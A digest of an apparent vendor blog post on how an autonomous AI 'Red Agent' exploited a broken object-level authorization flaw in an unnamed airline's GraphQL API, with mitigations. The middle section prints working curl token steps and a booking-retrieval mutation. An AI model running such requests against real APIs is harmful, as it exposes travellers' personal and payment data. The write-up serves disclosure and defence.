レッドエージェントの視点：航空会社のGraphQL APIにおけるオブジェクトレベルの認可の不備の悪用

What it is

Wiz's autonomous "Red Agent" found a Broken Object-Level Authorization (BOLA) flaw — OWASP API Security #1 — in an unnamed airline's GraphQL booking API. The summary has the shape; the page carries the reproducible mechanism: the exact two-step token flow, the winning mutation payload, and the specific mitigations. An anonymous session, minted with empty credentials, could read and write any active booking by iterating sequential integer IDs.

How it works

The frontend enforced authentication by issuing distinct session tokens per role (anonymous, registered, corporate), but downstream GraphQL resolvers never validated the role when serving data. So an anonymous token — structurally intended only for browsing public flight schedules — was accepted by sensitive mutations like bookingRetrieveByBookingId, which take a plain integer ID with no ownership check.

Minting the anonymous session was a two-step exchange the agent reverse-engineered from client JS:

# Step 1: Request initial token with zero credentials
curl -s -X POST 'https://api.[redacted]/api/kdf/v2/token' \
  -H 'Content-Type: application/json' \
  -d '{"credentials":{"channelType":"DigitalWeb"}}'

# Step 2: Exchange initial token for an anonymous session token
curl -s 'https://api.[redacted]/api/kdf/v1/token' \
  -H 'Authorization: Bearer <initial_token>'

With that token, GraphQL introspection exposed 514 queries and 428 mutations, all reachable anonymously. The breakthrough payload:

curl -s -X POST 'https://api.[redacted]/api/v1/graph' \
  -H 'Authorization: Bearer <anonymous_session_token>' \
  -H 'Content-Type: application/json' \
  -d '{"query":"mutation { bookingRetrieveByBookingId(bookingId: 144 (redacted)) { recordLocator passengers { key value { name { first last } } } contacts { key value { emailAddress phoneNumbers { number } } } journeys { designator { origin destination departure } } } }"}'

Twenty sequential IDs each returned a distinct live customer. Supplementary REST endpoints (/api/kdf/v1/booking/passengers, /contacts, /payments) confirmed exposure of full name, DOB, email, phone, billing address, masked card with expiration, loyalty number, and itinerary — spanning two years of records, with write/delete access on active bookings.

What to do

The page names three known mitigations it says most orgs skip:

• Object-level authorization checks on every resolver, not just the frontend.
• Non-guessable identifiers instead of sequential integers.
• Restricted GraphQL introspection in production.

Caveats

This is a vendor post promoting the Red Agent product, and the target is unnamed/unverifiable. Its detection claim is worth weighing: because every request uses valid GraphQL syntax against legitimate endpoints, the winning payload has no static signature — the page argues signature-based DAST scanners are structurally blind to this logic-flaw class, so don't expect your existing scanner to have caught it.